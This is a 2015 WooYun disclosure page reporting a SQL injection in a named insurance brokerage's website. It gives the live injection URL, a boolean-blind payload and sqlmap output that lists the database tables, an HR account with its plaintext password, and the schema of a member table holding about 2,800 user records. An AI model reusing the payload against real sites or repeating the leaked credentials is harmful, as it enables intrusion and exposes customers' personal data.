当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0162917

漏洞标题：长城保险经纪主站sql注入（测漏hr帐号+用户邮箱/性别/地址/电话/密码）

相关厂商：长城保险经纪有限公司

漏洞作者： 路人甲

提交时间：2015-12-21 11:52

修复时间：2016-02-01 10:51

公开时间：2016-02-01 10:51

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：11

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-21： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-02-01： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

注入点：
http://www.ccib.com.cn/CHN/About/newsShow.asp?news_id=428
数据：

Place: GET
Parameter: news_id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: news_id=428 AND 8592=8592
---
[13:09:56] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access


Database: Microsoft_Access_masterdb
[9 tables]
+------------+
| admin_user |
| area       |
| branch     |
| company    |
| exam       |
| guestbook  |
| job        |
| member     |
| news       |
+------------+


[4 columns]
+-----------+-------------+
| Column    | Type        |
+-----------+-------------+
| news_id   | numeric     |
| password  | numeric     |
| user_id   | numeric     |
| user_name | non-numeric |
+-----------+-------------+


测漏一枚hr账户

+---------+----------+---------+-----------+
| news_id | password | user_id | user_name |
+---------+----------+---------+-----------+
| 428     | 888888   | 2       | hr        |
+---------+----------+---------+-----------+


测漏用户邮箱/地址/密码/性别/电话等等

<code><code>Table: member
[8 columns]
+-----------+-------------+
| Column    | Type        |
+-----------+-------------+
| address   | non-numeric |
| email     | non-numeric |
| gender    | numeric     |
| loginname | non-numeric |
| news_id   | numeric     |
| passwd    | numeric     |
| phone     | numeric     |
| question  | non-numeric |
+-----------+-------------+


将近3000

[14:04:06] [WARNING] running in a single-thread mode. Please consider usa
ption '--threads' for faster data retrieval
[14:04:06] [INFO] retrieved: 2829
[14:04:12] [INFO] fetching number of distinct values for column 'email'


漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝